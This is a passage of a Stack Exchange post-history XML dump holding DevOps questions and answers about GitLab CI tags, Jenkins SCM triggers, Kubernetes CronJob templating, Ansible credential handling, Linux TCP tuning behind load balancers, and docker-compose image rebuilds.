git push origin 1.0.15&#xD;&#xA;    only:&#xD;&#xA;      - master&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;logs:&#xD;&#xA;&#xD;&#xA;    Running after script...&#xD;&#xA;    $ ls -a&#xD;&#xA;    .&#xD;&#xA;    ..&#xD;&#xA;    .git&#xD;&#xA;    .gitignore&#xD;&#xA;    .gitlab-ci.yml&#xD;&#xA;     LICENSE&#xD;&#xA;    README.md&#xD;&#xA;    pom.xml&#xD;&#xA;    src&#xD;&#xA;    target&#xD;&#xA;    $ cd target &amp;&amp; ls -a&#xD;&#xA;    .&#xD;&#xA;    ..&#xD;&#xA;    apidocs&#xD;&#xA;    classes&#xD;&#xA;    generated-sources&#xD;&#xA;    generated-test-sources&#xD;&#xA;    javadoc-bundle-options&#xD;&#xA;    maven-archiver&#xD;&#xA;    maven-simple-0.2-SNAPSHOT-javadoc.jar&#xD;&#xA;    maven-simple-0.2-SNAPSHOT-sources.jar&#xD;&#xA;    maven-simple-0.2-SNAPSHOT.jar&#xD;&#xA;    maven-status&#xD;&#xA;    surefire-reports&#xD;&#xA;    test-classes&#xD;&#xA;    Uploading artifacts...&#xD;&#xA;    target/maven-simple-0.2-SNAPSHOT-javadoc.jar: found 1 matching files &#xD;&#xA;    Uploading artifacts to coordinator... ok            id=60598296 &#xD;&#xA;    responseStatus=201 Created token=Gu-eH1es&#xD;&#xA;   Job succeeded&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11900" PostHistoryTypeId="2" PostId="3797" RevisionGUID="0cbdcbe7-679e-4b87-9452-ed97e0c3adef" CreationDate="2018-04-02T18:29:51.587" UserId="210" Text="`git push origin 1.0.15` should work and a new tag should be added to the tags in gitlab&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://docs.gitlab.com/ee/university/training/topics/tags.html&#xD;&#xA;&#xD;&#xA;&gt;     git checkout master&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     # Lightweight tag&#xD;&#xA;&gt;     git tag my_lightweight_tag&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     # Annotated tag&#xD;&#xA;&gt;     git tag -a v1.0 -m ‘Version 1.0’&#xD;&#xA;&gt;     git tag&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     git push origin --tags&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11901" PostHistoryTypeId="50" PostId="1877" RevisionGUID="017c3c77-bbe3-4d9e-99ae-92bbc0485594" CreationDate="2018-04-02T19:14:29.100" UserId="-1" />
  <row Id="11903" PostHistoryTypeId="5" PostId="3790" RevisionGUID="8e66e10a-8d35-4f5e-9391-c9eeb5f4d860" CreationDate="2018-04-02T19:26:10.393" UserId="5920" Comment="added 540 characters in body" Text="&#xD;&#xA;Need to make some optimizations and have been reading articles such as [linux-tcp-tuning][1]&#xD;&#xA;&#xD;&#xA;In a world of load balancers and revers proxy is there any value in tuning TCP connections that are inside the network?&#xD;&#xA;As I understand (please correct me if I'm wrong) there is almost zero latency and no packet loss between the load balancer and the servers.&#xD;&#xA;&#xD;&#xA;So I wonder if changing parameters such as net.ipv4.tcp_window_scaling, net.ipv4.tcp_timestamps, net.ipv4.tcp_sack will have any effect if not set on the load balancer.&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux-admins.net/2010/09/linux-tcp-tuning.html&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;Other parameters improved my server in simulation. I set net.ipv4.tcp_fin_timeout=5, net.ipv4.tcp_keepalive_probes=5 and it served more clients (without a load balancer). I just don't know if it will have the same effect with a load balancer. There are so many TCP parameters under /proc/sys/net/ipv4/. Testing them on a single server is one thing. Testing them with a load balancer and many servers is a huge effort. I just don't know if it worth the effort of testing those parameters with many severs and a load balancer. " ContentLicense="CC BY-SA 3.0" />
  <row Id="11906" PostHistoryTypeId="2" PostId="3798" RevisionGUID="52f171e8-5cfe-4a32-944e-9e1930cbc857" CreationDate="2018-04-03T13:43:29.017" UserId="4427" Text="My Jenkins is affected by a know Jenkins [bug][1] where it will trigger jobs that have a SCM poll set if a change to the shared library happens. I can't have this, so I thought I would get the trigger info from inside the job and if the URL was from the library repo I would abort the build. This has proven to be extremely difficult to do.&#xD;&#xA;&#xD;&#xA;This doesn't work...&#xD;&#xA;&#xD;&#xA;    println (&quot;Cause: &quot; + currentBuild.causes[0])&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    print currentBuild.rawBuild.getCause(hudson.triggers.SCMTrigger$SCMTriggerCause)&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    def causes = currentBuild.rawBuild.getCauses()&#xD;&#xA;    for (cause in causes) {&#xD;&#xA;        print cause&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The first example barfs&#xD;&#xA;&#xD;&#xA;    org.jenkinsci.plugins.scriptsecurity.sandbox.RejectedAccessException: unclassified field org.jenkinsci.plugins.workflow.support.steps.build.RunWrapper causes&#xD;&#xA;    	at org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.unclassifiedField(SandboxInterceptor.java:397)&#xD;&#xA;    	at org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.onGetProperty(SandboxInterceptor.java:381)&#xD;&#xA;&#xD;&#xA;but doesn't allow me to whitelist it on the script security page.&#xD;&#xA;&#xD;&#xA;The last 2 print thing `hudson.triggers.SCMTrigger$SCMTriggerCause@3` but it seems the only thing I can do is call `getShortDescription()` and it prints `Started by an SCM change`.&#xD;&#xA;&#xD;&#xA;If you know how to print more information about an SCM trigger such as the URL please share =).&#xD;&#xA;  [1]: https://issues.jenkins-ci.org/browse/JENKINS-39615%20bug" ContentLicense="CC BY-SA 3.0" />
  <row Id="11907" PostHistoryTypeId="1" PostId="3798" RevisionGUID="52f171e8-5cfe-4a32-944e-9e1930cbc857" CreationDate="2018-04-03T13:43:29.017" UserId="4427" Text="Determine the URL for a SCM trigger from inside the build" ContentLicense="CC BY-SA 3.0" />
  <row Id="11908" PostHistoryTypeId="3" PostId="3798" RevisionGUID="52f171e8-5cfe-4a32-944e-9e1930cbc857" CreationDate="2018-04-03T13:43:29.017" UserId="4427" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11909" PostHistoryTypeId="2" PostId="3799" RevisionGUID="6fb7d798-d4eb-4368-95ad-c96f350d282a" CreationDate="2018-04-03T14:05:50.853" UserId="7221" Text="We are currently migrating many of our production data ingress/processing scripts/processes into a kubernetes cluster. Each &quot;customer&quot; or company that we interface with has a bunch of data and we want to process all of this data on a per customer basis. I have created a container with a script where I pass a single customerID into. ```E.G. One container will run and process one customers data.``` This will need to happen for one or more customers on a schedule.&#xD;&#xA;&#xD;&#xA;I have been using the following definition to work specifically for customer 756, and it is working as expected.&#xD;&#xA;&#xD;&#xA;    apiVersion: batch/v1beta1&#xD;&#xA;    kind: CronJob&#xD;&#xA;    metadata:&#xD;&#xA;      name: image-puller-756&#xD;&#xA;    spec:&#xD;&#xA;      schedule: &quot;30 * * * *&quot;&#xD;&#xA;      concurrencyPolicy: Forbid&#xD;&#xA;      jobTemplate:&#xD;&#xA;        spec:&#xD;&#xA;          template:&#xD;&#xA;            spec:&#xD;&#xA;              containers:&#xD;&#xA;              - name: image-puller-756&#xD;&#xA;                image: index.docker.io/my_company/image_puller:latest&#xD;&#xA;                imagePullPolicy: Always&#xD;&#xA;                env:&#xD;&#xA;                  - name: ALLOW_TTY&#xD;&#xA;                    value: &quot;true&quot;&#xD;&#xA;                  - name: PYTHONUNBUFFERED&#xD;&#xA;                    value: &quot;0&quot;&#xD;&#xA;                  - name: prodDbUser&#xD;&#xA;                    valueFrom:&#xD;&#xA;                      secretKeyRef:&#xD;&#xA;                        name: image-creds&#xD;&#xA;                        key: username&#xD;&#xA;                  - name: prodDbPass &#xD;&#xA;                    valueFrom:&#xD;&#xA;                      secretKeyRef:&#xD;&#xA;                        name: image-creds&#xD;&#xA;                        key: password&#xD;&#xA;                command: [&quot;/bin/bash&quot;]&#xD;&#xA;                args: [&quot;-c&quot;, &quot;/usr/bin/python3 -u /go/bin/main.py -c 756&quot;]&#xD;&#xA;              restartPolicy: Never&#xD;&#xA;              imagePullSecrets:&#xD;&#xA;              - name: myregistrykey&#xD;&#xA;&#xD;&#xA;Once scheduled it will run hourly which is perfect, however I now need a way to duplicate this definition for ~500 different customers and apply it to the cluster. Currently I am using a template file and doing a Find and replace with a list of the customers I'm testing, but I'm looking for a better way to manage it. The customers will only have certain processes ran for them based on some logic, and I would like to be able to run another process that will act as a schedule and dynamically add or remove jobs for the customers.&#xD;&#xA;&#xD;&#xA;I thought that there might be a way using yaml or k8s to pass a list and a template and have it create them. The approach just seems very antiquated and I'm struggling to think that this is the correct one." ContentLicense="CC BY-SA 3.0" />
  <row Id="11910" PostHistoryTypeId="1" PostId="3799" RevisionGUID="6fb7d798-d4eb-4368-95ad-c96f350d282a" CreationDate="2018-04-03T14:05:50.853" UserId="7221" Text="Kubernetes create multiple jobs based on template and list" ContentLicense="CC BY-SA 3.0" />
  <row Id="11911" PostHistoryTypeId="3" PostId="3799" RevisionGUID="6fb7d798-d4eb-4368-95ad-c96f350d282a" CreationDate="2018-04-03T14:05:50.853" UserId="7221" Text="&lt;kubernetes&gt;&lt;automation&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11912" PostHistoryTypeId="2" PostId="3800" RevisionGUID="f3bdf9c0-d650-4dd9-b0d4-2f2957391fb7" CreationDate="2018-04-03T14:45:58.317" UserId="5003" Text="Is there a reason it would be a bad decision to use Bamboo ( or Jenkins ) to execute a scheduled task ( say every 15 minutes ) rather than using a cron job?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11913" PostHistoryTypeId="1" PostId="3800" RevisionGUID="f3bdf9c0-d650-4dd9-b0d4-2f2957391fb7" CreationDate="2018-04-03T14:45:58.317" UserId="5003" Text="Is there a reason not to use Bamboo to run repetitive tasks instead of cron?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11914" PostHistoryTypeId="3" PostId="3800" RevisionGUID="f3bdf9c0-d650-4dd9-b0d4-2f2957391fb7" CreationDate="2018-04-03T14:45:58.317" UserId="5003" Text="&lt;jenkins&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11915" PostHistoryTypeId="2" PostId="3801" RevisionGUID="8c63a07d-ffa2-4a1d-a0c5-4824c79b5b8e" CreationDate="2018-04-03T14:52:04.220" UserId="4427" Text="Have you checked the documentation for [cron-jobs][1]? You can use the `run` command. &#xD;&#xA;&#xD;&#xA;    $ kubectl run hello --schedule=&quot;*/1 * * * *&quot; --restart=OnFailure --image=busybox -- /bin/sh -c &quot;date; echo Hello from the Kubernetes cluster&quot;&#xD;&#xA;    cronjob &quot;hello&quot; created&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This way you can loop through your customers in a bash script to deploy your containers. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Not knowing the big picture its hard to answer completely, but I also think ansible templates would work for this. You could turn your above config file into a jinja2 template. You could pass your customers in as a JSON dict and use with_items to loop through them or treat your customers as an inventory. This would give you an easy way to deal with certain &quot;snowflake&quot; customers.&#xD;&#xA;&#xD;&#xA;EDIT: as far as doing this with Vanilla Kubernetes, I don't think it's possible. You could add your own custom controller and extend the kubernetes API. This would allow you to creat an API object that defines a customer, and then have a custom controller pick that up and create your cron job. Check out https://github.com/coreos/prometheus-operator as they have implemented such a solution to allow multiple teams to run there own Prometheus solution on the same cluster.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11916" PostHistoryTypeId="5" PostId="3798" RevisionGUID="b090f551-1b2a-4b26-b22d-7cb44675078a" CreationDate="2018-04-03T15:16:27.507" UserId="4427" Comment="Grammar" Text="My Jenkins is affected by a known Jenkins [bug][1] where it will trigger jobs that have an SCM poll set if a change to the shared library happens. I can't have this, so I thought I would get the trigger info from inside the job and if the URL was from the library repo I would abort the build. This has proven to be extremely difficult to do.&#xD;&#xA;&#xD;&#xA;This doesn't work...&#xD;&#xA;&#xD;&#xA;    println (&quot;Cause: &quot; + currentBuild.causes[0])&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    print currentBuild.rawBuild.getCause(hudson.triggers.SCMTrigger$SCMTriggerCause)&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    def causes = currentBuild.rawBuild.getCauses()&#xD;&#xA;    for (cause in causes) {&#xD;&#xA;        print cause&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The first example barfs&#xD;&#xA;&#xD;&#xA;    org.jenkinsci.plugins.scriptsecurity.sandbox.RejectedAccessException: unclassified field org.jenkinsci.plugins.workflow.support.steps.build.RunWrapper causes&#xD;&#xA;    	at org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.unclassifiedField(SandboxInterceptor.java:397)&#xD;&#xA;    	at org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.onGetProperty(SandboxInterceptor.java:381)&#xD;&#xA;&#xD;&#xA;but doesn't allow me to whitelist it on the script security page.&#xD;&#xA;&#xD;&#xA;The last 2 print thing `hudson.triggers.SCMTrigger$SCMTriggerCause@3` but it seems the only thing I can do is call `getShortDescription()` and it prints `Started by an SCM change`.&#xD;&#xA;&#xD;&#xA;If you know how to print more information about an SCM trigger such as the URL please share =).&#xD;&#xA;  [1]: https://issues.jenkins-ci.org/browse/JENKINS-39615%20bug" ContentLicense="CC BY-SA 3.0" />
  <row Id="11917" PostHistoryTypeId="50" PostId="1088" RevisionGUID="37f5740d-83e9-4dcf-a23d-ee94ec5b5ad8" CreationDate="2018-04-03T15:20:49.653" UserId="-1" />
  <row Id="11922" PostHistoryTypeId="2" PostId="3803" RevisionGUID="e8266715-3cdb-4e98-96ef-75e1c75ae9dd" CreationDate="2018-04-03T20:32:26.877" UserId="2494" Text="We want to start our monitoring off the cluster on a local server.  Is this practical and will it be feasible and reasonable to hook local Prometheus and Grafana installations into a Kubernetes cluster? " ContentLicense="CC BY-SA 3.0" />
  <row Id="11923" PostHistoryTypeId="1" PostId="3803" RevisionGUID="e8266715-3cdb-4e98-96ef-75e1c75ae9dd" CreationDate="2018-04-03T20:32:26.877" UserId="2494" Text="Local Prometheus and Grafana Installations to Monitor a Kubernetes Cluster" ContentLicense="CC BY-SA 3.0" />
  <row Id="11924" PostHistoryTypeId="3" PostId="3803" RevisionGUID="e8266715-3cdb-4e98-96ef-75e1c75ae9dd" CreationDate="2018-04-03T20:32:26.877" UserId="2494" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11932" PostHistoryTypeId="2" PostId="3806" RevisionGUID="296edd1f-a610-4db9-ba10-98b45466c245" CreationDate="2018-04-04T11:16:12.850" UserId="6544" Text="## Background&#xD;&#xA;&#xD;&#xA;1. We use Ansible to provision and manage Azure infrastructure. At the moment we run Ansible &quot;manually&quot; i.e. we _manually execute playbooks_ for various automated tasks. No CI infrastructure.&#xD;&#xA;1. Probably not relevant but we manage our inventory using dynamic script `azure_rm.py`.&#xD;&#xA;1. We are encouraged to be as secure as possible i.e. &#xD;&#xA;  1. Don't store Vault passwords in `~/.vault_pass` or in any local file&#xD;&#xA;  1. Don't store Azure secrets in `~/.azure/credentials`&#xD;&#xA;  1. Don't store anything secure in `.bashrc`.&#xD;&#xA;&#xD;&#xA;In such a scenario, I am having trouble coming up with a coherent strategy to ensure that my playbooks can access Azure secrets, while following the guidelines above.&#xD;&#xA;&#xD;&#xA;## Question&#xD;&#xA;&#xD;&#xA;How can I avoid storing Ansible Vault and Azure credentials on files, while still ensuring my playbooks can access them?&#xD;&#xA;&#xD;&#xA;## What I've tried&#xD;&#xA;&#xD;&#xA;So far I have come up with a wrapper script that&#xD;&#xA;&#xD;&#xA;1. asks the user for Vault password&#xD;&#xA;1. Uses that to decrypt a Vaulted Shell script&#xD;&#xA;1. Evaluates the script, which loads Azure environment variables into the environment;&#xD;&#xA;1. Runs the playbook on the environment that has been thus set.&#xD;&#xA;&#xD;&#xA;Any better (more elegant, less complicated, more &quot;Ansible&quot;) solutions out there?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11933" PostHistoryTypeId="1" PostId="3806" RevisionGUID="296edd1f-a610-4db9-ba10-98b45466c245" CreationDate="2018-04-04T11:16:12.850" UserId="6544" Text="How do I run Ansible Azure playbooks while avoiding storing credentials in files?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11934" PostHistoryTypeId="3" PostId="3806" RevisionGUID="296edd1f-a610-4db9-ba10-98b45466c245" CreationDate="2018-04-04T11:16:12.850" UserId="6544" Text="&lt;ansible&gt;&lt;ansible-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11935" PostHistoryTypeId="2" PostId="3807" RevisionGUID="b707d377-730b-4402-bf3f-febf9ccda329" CreationDate="2018-04-04T12:21:19.590" UserId="4427" Text="It's possible but after doing many replatforming projects for clients I can't say I would advise it. Have you seen kube-prometheus? It's a one-shot install that will get you 90% of where you need to be for your cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The only way I can advise it would be if you're going to run 5 or more clusters and want central monitoring, but I'm a bigger fan of having a Grafana per cluster." ContentLicense="CC BY-SA 3.0" />
  <row Id="11939" PostHistoryTypeId="5" PostId="3796" RevisionGUID="0a241f16-9b1a-4577-b6bf-460818e45868" CreationDate="2018-04-04T16:26:32.780" UserId="2845" Comment="added 6742 characters in body" Text="Tuning the parameters you have identified will certainly have an effect - to *degrade* performance. For example, net.ipv4.tcp_window_scaling is an [on or off option](https://access.redhat.com/sites/default/files/attachments/20150325_network_performance_tuning.pdf). Similarly, net.ipv4.tcp_sack is either on or off. Both default to a value of on on Linux and on all load balancers. Both of these were defined in RFC1323 which was published in order to give us the ability to achieve 10/100 Ethernet networks. Without this RFC, networks were limited to 10 Mbps a second, so disabling these will result in a huge, immediate and noticable performance hit.&#xD;&#xA;&#xD;&#xA;These performance benefits come because there is a huge difference between &quot;almost&quot; zero latency and zero latency. Using a sliding TCP window allows equipment to use Selective Acknowledgements (SACKs) to acknowledge the receipt of hundreds of packets simultaneously. So, if latency is 10ms on a network, without SACKs, every packet has to be acknowledged and that 10ms latency adds up very quickly - even at theoretical minimum latencies. This means that I send packet A, then have to wait for a response to packet A before sending packet B. But as it turns out I can send the rest of the alphabet and then some while waiting for the ACK to packet B. Enter SACKs - These allow the receiver to signal that it is has successfully received up to and including packet Z. Meanwhile, the sender is already sending packet AA-ZZ.&#xD;&#xA;&#xD;&#xA;This results in something known as a &quot;TCP Window Size&quot; which is the maximum amount of data the client can buffer/handle. Since memory can be a concern, if the recipient is only capable of storing and processing Packets A-F, if we send A-Z some amount of data is going to be lost. Therefore, it becomes necessary for the recipient to signal their ability to receive data - that is &quot;I can only buffer this many packets). This is really CPU dependent on how fast the recipient can empty their buffers and transmit the data up to layer 7. It is not uncommon to see TCP windows scale from empty to full (Max window size goes from 0 indicating the window is completely used to max indicating the window is completely available) and this is one way throughput bottlenecks can be identified on your network.&#xD;&#xA;&#xD;&#xA;TCP Window Scaling offers two primary benefits:&#xD;&#xA;&#xD;&#xA; 1. Less unused time on the wire - we aren't sitting around waiting for an ACK and we have successfully defeated the prop. delay (latency).&#xD;&#xA; 2. Less time devoted congestion control = more time for data. Congestion control messages can eat into your transmission time and bandwidth. Even with TCP Window Scaling, [Congestive Collapse](https://en.wikipedia.org/wiki/Network_congestion#Congestive_collapse) can still occur in which an entire TCP window may need to be retransmitted and congestion control may be required.&#xD;&#xA;&#xD;&#xA;Finally, the only real reason to update net.ipv4.tcp_timestamps is to provide additional security as it is otherwise based off of server uptime. Since you are proxying behind a load balancer anway, adjusting this setting is of little value unless you are using something like a [Performance Layer 4 profile](https://support.f5.com/csp/article/K01155812). I doubt adjusting this will make much difference, though again it is only likely to degrade, not improve performance.&#xD;&#xA;&#xD;&#xA;Far and away, what is more likely to help is adjusting your send and receive buffer sizes and using [Jumbo Frames.](https://en.wikipedia.org/wiki/Jumbo_frame) this will allow you to process more data with the same amount of overhead (a 75% reduction in processing over a standard MTU of 1500. These are the primary changes required to reach a 10 Gbps connection. Otherwise, just make sure you have enough CPU to ingest your data from the TCP stack and be aware of the pattern of your traff (eg, avoid things like the [C10K problem](https://en.wikipedia.org/wiki/C10k_problem)).&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;`tcp_fin_timeout` doesn't actually improve performance, instead it defeats resource constraints. This setting could actually be a major player in a load balancer implementation. The problem is that for any given client and server, the server will be hosting a web server (for example) on 192.168.1.5:80. Every TCP connection must have both a source IP and source port as well as a destination port and destination IP. Source ports are chosen by the client from a pool of &quot;ephemeral&quot; ports. This results in a theoretical maximum of 65534 connections (the maximum number of ports) between a given client to port 80 on that server. When using load balancers, this can result in &quot;[port exhaustion](https://support.f5.com/csp/article/K33355231)&quot; when the pool of ephemeral ports is depleted when [SNAT (Secure Network Address Translation)](https://support.f5.com/csp/article/K7820) is used on the load balancer, which results in a theoretical maximum of 65534 *between the load balancer and the server.* There are two basic solutions to this problem: 1) use a SNAT pool where 2 source IPs for the load balancer * 65534 = 131068 connections and 4 IPs X 65534 = 262136 max connections, and so forth or 2) don't use a SNAT. For this to work, the load balancer needs to be part of the default route back to your clients. If you are testing with a single actual client simulating multiple clients, this is a poor real-world test and you may actually support many more clients than you think because you are exhausting your ephemeral ports, where real clients would never do that because they come from unique IPs and two clients can use the same ephemeral port *if you are not using SNAT on the load balancer*.&#xD;&#xA;&#xD;&#xA;Now, I keep mentioning that this is the *theoretical maximum* but the reality is that on Linux servers, there is a defined range of ephemeral ports and so typically you will see port exhaustion at around half of the theoretical maximum. You can see results similar to adjusting `tcp_fin_timeout` by adjusting the ephemeral port range in /proc/sys/net/ipv4/ip_local_port_range.&#xD;&#xA;&#xD;&#xA;This brings me to the final piece, the [TIME_WAIT](http://www.serverframework.com/asynchronousevents/2011/01/time-wait-and-its-design-implications-for-protocols-and-scalable-servers.html) state governed by `tcp_fin_timeout` and defaults to 60 seconds. This gives every port used a 60-second &quot;cooling off period&quot; before it is returned to the ephemeral port pool. This is why you saw a performance boost in your testing. This setting is *supposed* to be 2 times your maximum segment lifetime as defined by the TCP protocol, as it is theoretically possible that for a FIN packet with this setting below below 1 X maximum segment lifetime (30 seconds) to still be in transit. In reality, this is very unlikely, but technically you are breaking RFC compliance by adjusting this setting. If you adjust this setting downward however, you would want to be sure to adjust it downward on the [Load Balancer's TCP profile](https://support.f5.com/csp/article/K13924148) (so tcp_fin_timeout corresponds to Time Wait, not FIN Wait on an F5, for example).&#xD;&#xA;&#xD;&#xA;Ultimately, this is a fantastic example of where testing with a load balancer and many servers would result in a huge performance difference - because your testing probably doesn't reflect the real-world architechure. It isn't a good simulation of the customer experience.&#xD;&#xA;&#xD;&#xA;However, tweaking both ephemeral port settings and using keepalives are two divergent traffic management strategies. In fact, if you use a setting like [OneConnect](https://support.f5.com/csp/article/K7208), there simply is no longer any need to tweak your ephemeral port ranges and timeouts because connections are recycled and multiple clients can be funneled over the same connection (note, this only works for HTTP traffic, but similar can be achieved with `tcp_keepalive_probes` if you want to configure it that way because clients no longer have to wait for the three-way-handshake - they can simply start transmitting.)&#xD;&#xA;&#xD;&#xA;Conclusion&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;There is no pat answer here. You are asking &quot;Is it worth doing all this work?&quot; - I don't know. Is it? What is the acceptable level of business risk? What does it cost your business if you get it wrong and bottleneck?&#xD;&#xA;&#xD;&#xA;Ultimately, I feel you are basically asking two things 1) what do all these settings do and what is the effect of tweaking them? And 2) are there any shortcuts I can take?&#xD;&#xA;&#xD;&#xA;Unfortunately, you have not provided enough information to answer either question (which is why your last question was closed and this one will be downvoted.) First, I don't have the time to explain what every TCP setting in proc does (nor do I know off the top of my head, I'm actually googling these on the fly.) but secondly (and more importantly) it is impossible to determine their effect without knowing how your service is architected. There is probably performance that can be squeezed out of your system, but kernel TCP parameters are pretty much tuned to the best possible configuration that can be safely made without breaking the TCP/IP RFC. What you are doing is pushing into territory that *can* be safe, but only if you understand the architecture and the TCP/IP protocol. And it would behoove you to learn it. If you want to be the smartest guy in the room, learn TCP/IP. Pick up a copy of [TCP/IP Illustrated](https://www.amazon.com/TCP-Illustrated-Protocols-Addison-Wesley-Professional/dp/0321336313/ref=pd_sim_14_2?_encoding=UTF8&amp;pd_rd_i=0321336313&amp;pd_rd_r=NYYHNF9T6S8TW2W237HC&amp;pd_rd_w=tqjUn&amp;pd_rd_wg=tzdd7&amp;psc=1&amp;refRID=NYYHNF9T6S8TW2W237HC) and/or [Internetworking with TCP/IP](https://www.amazon.com/Internetworking-TCP-Vol-1-Principles-Architecture/dp/0130183806/ref=sr_1_5?ie=UTF8&amp;qid=1522858622&amp;sr=8-5&amp;keywords=TCP%2FIP) and commit the basics to memory. Learn how HTTP requests and SSL handshakes work. Learn how to read a pcap in wireshark and tell the story of what is happening according to these protocols. This will take you very far in life whether you go in to System Administration, Networking, or Programming (I have used this knowledge in all three realms). Simply put, *there is no substitute for knowing what the hell you are doing* and this just isn't something you are going to be able to answer off of Stack Exchange. This is why you pay consultants - because if they are good they know the ins-and-outs of this. Once you understand 1) your architecture and 2) what the settings actually do and what effect they will have you will better be able to tell if you can take any shortcuts (that is, I don't need to tweak this setting; it is irrelevant. This testing will be worthless because it doesn't simulate the customer experience." ContentLicense="CC BY-SA 3.0" />
  <row Id="11940" PostHistoryTypeId="5" PostId="3773" RevisionGUID="506e1dc2-aea9-40e2-bfaf-a6311df01588" CreationDate="2018-04-04T16:49:41.287" UserId="192" Comment="deleted 1035 characters in body; edited title" Text="My process successfully rebuilds the underlying docker image however docker-compose up sometimes fails to pickup that change and incorrectly says up-to-date on freshly rebuilt images when it should be saying Recreating&#xD;&#xA;&#xD;&#xA;I am executing identical code across several servers each with varying OS ( ubuntu 16.04 or debian 8 or debian 9) and varying docker versions ( either  18.04.0-ce-rc1  or  18.03.0-ce ) ... am currently working to track down root cause however see good and bad behavior across each of above OS and docker versions&#xD;&#xA;&#xD;&#xA;This issue does not seem related to https://github.com/docker/compose/issues/3574&#xD;&#xA;&#xD;&#xA;Yes I am tagging the images and doing a push to local docker repository" ContentLicense="CC BY-SA 3.0" />
  <row Id="11941" PostHistoryTypeId="4" PostId="3773" RevisionGUID="506e1dc2-aea9-40e2-bfaf-a6311df01588" CreationDate="2018-04-04T16:49:41.287" UserId="192" Comment="deleted 1035 characters in body; edited title" Text="docker-compose fails to recognize when images are rebuilt" ContentLicense="CC BY-SA 3.0" />
  <row Id="11942" PostHistoryTypeId="5" PostId="3773" RevisionGUID="6b7f2ca6-1f31-41a2-ae52-bea40a202b2e" CreationDate="2018-04-04T17:06:48.810" UserId="192" Comment="deleted 1035 characters in body; edited title" Text="My process successfully rebuilds a pair of two underlying docker images however docker-compose up sometimes fails to pickup that change and incorrectly says up-to-date on freshly rebuilt images when it should be saying Recreating&#xD;&#xA;&#xD;&#xA;I am executing identical code across several servers each with varying OS ( ubuntu 16.04 or debian 8 or debian 9) and varying docker versions ( either  18.04.0-ce-rc1  or  18.03.0-ce ) ... am currently working to track down root cause however see good and bad behavior across each of above OS and docker versions&#xD;&#xA;&#xD;&#xA;This issue does not seem related to https://github.com/docker/compose/issues/3574&#xD;&#xA;&#xD;&#xA;Yes I am tagging the images and doing a push to local docker repository&#xD;&#xA;&#xD;&#xA;here my my docker-compose.yaml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;    nodejs-admin:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-admin&#xD;&#xA;      container_name: loud_admin&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata4/var/log/loudlog-admin:/loudlog-admin&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - /cryptdata5/var:/cryptdata5/var&#xD;&#xA;        - /cryptdata5/var/tools:/tools&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - $SOURCE_REPO_DIR/tests:/tmp/tests&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle:/tmp&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:blah@loudmail:587/&#xD;&#xA;        - GKE_NOTIF_TASK_OVERDUE=$GKE_NOTIF_TASK_OVERDUE&#xD;&#xA;        - GKE_NOTIF_TASK_PUSH=$GKE_NOTIF_TASK_PUSH&#xD;&#xA;        - GKE_NOTIF_PLANS_RECUR=$GKE_NOTIF_PLANS_RECUR&#xD;&#xA;      